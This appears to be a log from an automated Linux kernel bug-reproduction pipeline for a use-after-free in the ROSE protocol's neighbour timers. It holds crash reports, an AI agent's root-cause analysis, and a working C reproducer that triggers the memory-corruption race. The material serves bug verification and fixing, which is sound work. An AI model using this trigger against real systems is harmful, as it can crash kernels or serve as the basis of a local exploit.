 default_idle+0x9/0x20 arch/x86/kernel/process.c:767
 default_idle_call+0x72/0xb0 kernel/sched/idle.c:122
 cpuidle_idle_call kernel/sched/idle.c:199 [inline]
 do_idle+0x36a/0x5f0 kernel/sched/idle.c:352
 cpu_startup_entry+0x43/0x60 kernel/sched/idle.c:451
 start_secondary+0x101/0x110 arch/x86/kernel/smpboot.c:312
 common_startup_64+0x13e/0x147
 </TASK>
----------------
Code disassembly (best guess):
   0:	89 44 24 20          	mov    %eax,0x20(%rsp)
   4:	e8 b7 5f 7a fd       	call   0xfd7a5fc0
   9:	48 8b 44 24 20       	mov    0x20(%rsp),%rax
   e:	4c 8b 4d 00          	mov    0x0(%rbp),%r9
  12:	4c 89 ef             	mov    %r13,%rdi
  15:	48 c7 c6 20 02 0e 8c 	mov    $0xffffffff8c0e0220,%rsi
  1c:	48 c7 c2 20 08 0e 8c 	mov    $0xffffffff8c0e0820,%rdx
  23:	8b 0c 24             	mov    (%rsp),%ecx
  26:	4d 89 f8             	mov    %r15,%r8
  29:	50                   	push   %rax
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	48 83 c4 08          	add    $0x8,%rsp
  33:	4c 8b 6c 24 18       	mov    0x18(%rsp),%r13
  38:	48                   	rex.W
  39:	b9 00 00 00 00       	mov    $0x0,%ecx
  3e:	00 fc                	add    %bh,%ah
] ReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
        printf("[+] Set sysctl %s to %d\n", path, val);
    } else {
        printf("[-] Failed to open sysctl %s: %s\n", path, strerror(errno));
    }
}

int main() {
    int res;

    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    res = ioctl(ptmx, TIOCSETD, &ldisc);
    if (res < 0) {
        printf("[-] Failed to ioctl TIOCSETD: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket.\n");

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up.\n");

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    res = ioctl(sock, SIOCSIFHWADDR, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFHWADDR for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set rose0 MAC address.\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up.\n");

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        if (res < 0) {
            printf("[-] Failed to bind rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = ioctl(rsock, SIOCADDRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCADDRT: %s\n", strerror(errno));
            exit(1);
        }

        res = fcntl(rsock, F_SETFL, O_NONBLOCK);
        if (res < 0) {
            printf("[-] Failed to fcntl O_NONBLOCK: %s\n", strerror(errno));
            exit(1);
        }
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        res = connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        if (res < 0 && errno != EINPROGRESS) {
            printf("[-] Failed to connect: %s\n", strerror(errno));
            exit(1);
        }
        
        // Delete the route (stops t0timer, drops routing refcount)
        res = ioctl(rsock, SIOCDELRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCDELRT: %s\n", strerror(errno));
            exit(1);
        }
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
        printf("[+] Iteration %d completed.\n", i);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    printf("[+] Waiting for timers to expire...\n");
    sleep(1);

    printf("[+] Done.\n");
    return 0;
}
 Reproduced:true ReproducedBugTitle:WARNING: ODEBUG bug in handle_softirqs ReproducedCrashReport:------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88811733b090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350 net/rose/rose_link.c:-1
WARNING: lib/debugobjects.c:632 at debug_print_object lib/debugobjects.c:629 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at __debug_check_no_obj_freed lib/debugobjects.c:1116 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550 lib/debugobjects.c:1146, CPU#0: swapper/0/0
Modules linked in:
CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object lib/debugobjects.c:629 [inline]
RIP: 0010:__debug_check_no_obj_freed lib/debugobjects.c:1116 [inline]
RIP: 0010:debug_check_no_obj_freed+0x44a/0x550 lib/debugobjects.c:1146
Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
FS:  0000000000000000(0000) GS:ffff8881a55ef000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000562af2b84300 CR3: 000000000e54e000 CR4: 00000000000006f0
Call Trace:
 <IRQ>
 slab_free_hook mm/slub.c:2616 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x13a/0x630 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x4cb/0x600 net/rose/rose_timer.c:183
 call_timer_fn+0x192/0x640 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2373 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2385
 run_timer_base kernel/time/timer.c:2394 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2404
 handle_softirqs+0x22a/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0x5f/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:pv_native_safe_halt+0xf/0x20 arch/x86/kernel/paravirt.c:63
Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
 arch_safe_halt arch/x86/kernel/process.c:766 [inline]
 default_idle+0x9/0x20 arch/x86/kernel/process.c:767
 default_idle_call+0x72/0xb0 kernel/sched/idle.c:122
 cpuidle_idle_call kernel/sched/idle.c:199 [inline]
 do_idle+0x36a/0x5f0 kernel/sched/idle.c:352
 cpu_startup_entry+0x43/0x60 kernel/sched/idle.c:451
 rest_init+0x2de/0x300 init/main.c:760
 start_kernel+0x385/0x3d0 init/main.c:1210
 x86_64_start_reservations+0x24/0x30 arch/x86/kernel/head64.c:310
 x86_64_start_kernel+0x143/0x1c0 arch/x86/kernel/head64.c:291
 common_startup_64+0x13e/0x147
 </TASK>
----------------
Code disassembly (best guess):
   0:	89 44 24 20          	mov    %eax,0x20(%rsp)
   4:	e8 b7 5f 7a fd       	call   0xfd7a5fc0
   9:	48 8b 44 24 20       	mov    0x20(%rsp),%rax
   e:	4c 8b 4d 00          	mov    0x0(%rbp),%r9
  12:	4c 89 ef             	mov    %r13,%rdi
  15:	48 c7 c6 20 02 0e 8c 	mov    $0xffffffff8c0e0220,%rsi
  1c:	48 c7 c2 20 08 0e 8c 	mov    $0xffffffff8c0e0820,%rdx
  23:	8b 0c 24             	mov    (%rsp),%ecx
  26:	4d 89 f8             	mov    %r15,%r8
  29:	50                   	push   %rax
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	48 83 c4 08          	add    $0x8,%rsp
  33:	4c 8b 6c 24 18       	mov    0x18(%rsp),%r13
  38:	48                   	rex.W
  39:	b9 00 00 00 00       	mov    $0x0,%ecx
  3e:	00 fc                	add    %bh,%ah
]

1/1 2026/05/26 10:46 action kernel-checkouter
1m Results:
map[KernelSrc:/app/workdir/cache/src/467e55f613aaf753738bad9aa4d4d66a1b3a23eb]

2/1 2026/05/26 10:48 action kernel-builder
29m Results:
map[KernelObj:/app/workdir/cache/build/dcab72d93246dbd1b959ccc5b3254f94db5a0a69]

3/1 2026/05/26 11:17 action codesearch-prepare
16m Results:
map[Index:codesearch-index]

4/1 2026/05/26 11:33 agent initial-researcher
5m Model:
gemini-3.1-pro-preview

Instruction:
You are a security researcher with deep Linux kernel background.
Your goal is to analyze a Linux kernel bug description and propose a strategy to reproduce it
with a minimal, standalone C program.
This is for the strictly defensive purpose of verifying a bugfix in an isolated environment.
Do NOT propose an exploit. Focus on minimal technical reproduction of the bug state.
Keep your analysis and strategy proposal concise. Do not write long explanations.
Prefer calling several tools at the same time to save round-trips.

Prompt:
Bug Description: KASAN: slab-use-after-free Write in rose_send_frame

==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	48 c1 ea 03          	shr    $0x3,%rdx
   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

Reply:
The bug is a Use-After-Free (UAF) in the ROSE protocol subsystem, specifically when handling timers for a `rose_neigh` (neighbour) object. 

### Root Cause Analysis
1. **Neighbour Creation & Timers**: When a ROSE route is added (`SIOCADDRT`), a `rose_neigh` object is created. It has two timers: `t0timer` and `ftimer`.
2. **Socket Connection**: When a ROSE socket connects to this route, it holds a reference to the `rose_neigh` object. The connection process sends a `ROSE_CALL_REQUEST` frame via `rose_transmit_link()`, which starts the `t0timer` on the neighbour.
3. **Route Deletion**: If the route is deleted (`SIOCDELRT`), `rose_del_node()` removes the neighbour from the routing list and calls `rose_remove_neigh()`, which explicitly stops the `t0timer` (`timer_delete_sync`). It then drops its reference to the neighbour. However, the socket still holds a reference, so the neighbour is not freed yet.
4. **Socket Closure**: When the socket is closed, `rose_release()` is called. Because the socket is still in the connecting state (`ROSE_STATE_1`), it sends a `ROSE_CLEAR_REQUEST` frame. This again calls `rose_transmit_link()`, which **restarts the `t0timer`** because it was previously stopped. `rose_release()` then starts the socket's `t3timer` and transitions to `ROSE_STATE_2`.
5. **Timer Expiration Race**: 
   - The `t3timer` timeout is controlled by `sysctl_rose_clear_request_timeout`.
   - The `t0timer` timeout is controlled by `sysctl_rose_restart_request_timeout`.
   - If `t3timer` expires *before* `t0timer`, the socket's timer handler (`rose_timer_expiry`) drops the final reference to the neighbour, freeing the `rose_neigh` object.
   - Later, when `t0timer` expires, its handler (`rose_t0timer_expiry`) accesses the already freed `rose_neigh` object to send a restart request, causing the UAF write at `neigh->ax25` (offset 24).

### Reproduction Strategy
We can reliably trigger this by manipulating the sysctl timeouts to guarantee that `t3timer` expires before `t0timer`.
1. Create an AX.25 device (`ax0`) using the `mkiss` line discipline and bring it up.
2. Bring up the default ROSE device (`rose0`) and assign it a hardware address.
3. Set `/proc/sys/net/rose/clear_request_timeout` to `1000` (1 second) and `restart_request_timeout` to `2000` (2 seconds).
4. Create a ROSE socket and `bind()` it to the `rose0` address.
5. Add a ROSE route pointing to `ax0`.
6. Call `connect()` on the socket in non-blocking mode (`O_NONBLOCK`).
7. Immediately delete the route.
8. `close()` the socket.
